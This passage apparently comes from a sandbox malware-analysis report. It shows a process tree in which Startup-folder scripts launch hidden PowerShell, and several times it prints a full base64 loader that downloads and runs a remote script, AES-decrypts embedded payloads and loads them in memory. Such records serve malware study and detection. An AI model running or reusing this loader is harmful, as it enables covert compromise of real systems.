UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 7420 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_aac21fe5.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7472 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_aac21fe5.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7524 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 7744 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_524a8e57.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7796 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_524a8e57.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7848 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 8024 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_491647b6.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 8032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 8068 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_491647b6.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8120 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 7228 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_b584aa07.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 6768 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_b584aa07.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7468 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZH